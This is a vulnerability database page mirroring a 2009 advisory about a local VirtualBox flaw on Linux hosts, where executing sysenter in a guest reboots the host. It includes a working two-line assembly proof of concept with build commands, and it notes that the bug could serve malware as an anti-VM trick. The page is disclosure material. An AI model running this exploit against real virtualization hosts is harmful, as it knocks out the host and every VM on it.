Vulners
Lucene search
Sun VirtualBox Host Reboot
🗓️ 05 Aug 2009 00:00:00Reported by Tadas VilkeliskisType 
packetstorm🔗 packetstormsecurity.com👁 17 Views
`Sun's VirtualBox host reboot PoC
by Tadas Vilkeliskis <[email protected]>
Disclosure made at 2009-08-01
VULNERABILITY INFORMATION
Remotely exploitable: no
Locally exploitable: yes
Affected versions: 2.2 - 3.0.2 r49928 for Linux
VULNERABILITY DESCRIPTION
VirtualBox VM is unable to handle fast call to privilege level 0 system
procedures (sysenter). If sysenter instruction is executed on the guest
OS the host machine will reboot. The technique was tested on the
following guest OS: Windows XP, Windows 7 RC, Ubuntu 9.04. It is not
clear whether it is possible to execute arbitrary code on the host,
however this trick can be successfully used by malware as an anti-vm
trick.
POC
; nasm -f elf vmhostreboot.asm
; gcc vmhostreboot.o -o vmhostreboot
BITS 32
SECTION .text
GLOBAL main
main:
sysenter
ret
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Aug 2009 00:00Current
0.1Low risk
Vulners AI Score0.1